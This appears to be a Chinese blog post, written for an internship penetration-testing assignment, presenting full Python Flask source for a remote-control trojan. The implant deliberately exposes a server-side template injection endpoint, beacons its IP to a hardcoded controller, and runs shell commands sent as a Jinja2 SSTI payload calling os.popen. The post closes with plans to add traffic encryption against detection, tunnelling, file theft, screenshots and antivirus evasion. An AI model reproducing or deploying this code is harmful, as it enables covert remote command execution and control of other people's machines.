基于SSTI的木马远控编写

基于SSTI的木马远控编写

起因是要交实习作业,编写渗透测试平台,我觉得没有页面展示的平台算什么平台,于是乎写了个python flask+jinja2的web页面,但是在写后门远控这一块的时候,遇到了很多问题,没有办法把socket和web端结合起来,因为每次访问触发函数就会导致重复启用socket服务,造成端口冲突,指令也无法传递。当然,并不是说这种方式不可以,flask有其专门的websocket模块以及socketio,但是没有使用过,也不熟悉js,所以没有采用这种方式去写,就换了个思路,写一个单纯基于http的远控木马。

然后搜索python webshell的时候看到了这篇文章,有点启发

python flask 内存马

于是设计了一个基于以下思路实现的木马(emmm,大佬轻喷纯粹写着玩,事实上不基于ssti也可以做到,这个漏洞利用似乎有些鸡肋,而且里面部分代码写的有些粗糙,但是好处是不会沾包)

其实主要思路就是让被控主机自己开启一个带有漏洞的站点给主控端访问,主控端直接传递一个ssti payload来实现触发

 

主控端关键代码:

@app.route('/info/',methods=['GET','POST'])
def info():
    flist = open("list1.txt",'r')
    uid = request.form['uid']
    fcontent = flist.readlines()
    flist.close()
    if uid not in fcontent:
        f = open("list1.txt",'a')
        f.write(uid+'\r\n')
        f.close()
    return redirect(url_for('print_info'))

@app.route('/print_info')
def print_info():
    uidf = open('list1.txt')
    uid = uidf.readlines()
    uidf.close()
    return render_template('list1.html',uid=uid)

@app.route('/remotecontrol/<name>', methods=['GET', 'POST'])
def yuankong(name):
    if request.method == "GET":
        return render_template("remotecontrol.html",name=name)
    else:
        cmd = request.form['cmd']
        res=requests.get('http://'+name+':8000'+'?param={{config.__class__.__init__.__globals__[\'os\'].popen(\''+cmd+'\').read()}}').text
        return render_template('remotecontrol.html',allCarbDiet=res,name=name)

被控端代码:

import threading

from flask import Flask,request
from flask import render_template_string
import socket
import requests
import time

def get_host_ip1():

    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        s.connect(('8.8.8.8', 80))
        ip = s.getsockname()[0]
    finally:
        s.close()
    return ip
class FlaskApp(Flask):
    def __init__(self, *args, **kwargs):
        super(FlaskApp, self).__init__(*args, **kwargs)
        self._activate_background_job()

    def _activate_background_job(self):
        def run_job():
            i = 0
            while i < 3:
             print('执行后台任务')
             i+=1
             time.sleep(1)
            if i ==3 :
             requests.get('http://' + get_host_ip1() + ':8000')
        t1 = threading.Thread(target=run_job)
        t1.start()
##上面的主要目的是实现让木马启动后可以自己访问自己的网站,从而使主控端收到上线ip,达到自动化目的,不然需要被控端手动访问一次自己的网站就很麻烦 app
= FlaskApp(__name__) def get_host_ip(): try: s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s.connect(('8.8.8.8', 80)) ip = s.getsockname()[0] finally: s.close() return ip @app.route('/',methods=['GET', 'POST']) def test(): host = get_host_ip() requests.post('http://192.168.0.101:5000/info/', data={'uid': host}) template = '''%s''' %(request.values.get('param')) return render_template_string(template) if __name__ == '__main__': app.run(host='0.0.0.0',port=8000)

实现效果:

web端执行指令:

 

 

 

被控端展示(虚拟机):

 

 

 这个木马很多地方都需要改进,比如

1.加密传递的内容,不然流量特征太过明显

2.如果是真实实战,那么被控端还需要做流量穿透,可以写一个代理功能

3.功能并不完善,考虑后面写一些文件上传,文件下载,截图,以及联动msf(一个设想,肯定需要涉及免杀了)

 

posted @ 2023-01-01 18:08  willing-sir  阅读(99)  评论(0编辑  收藏  举报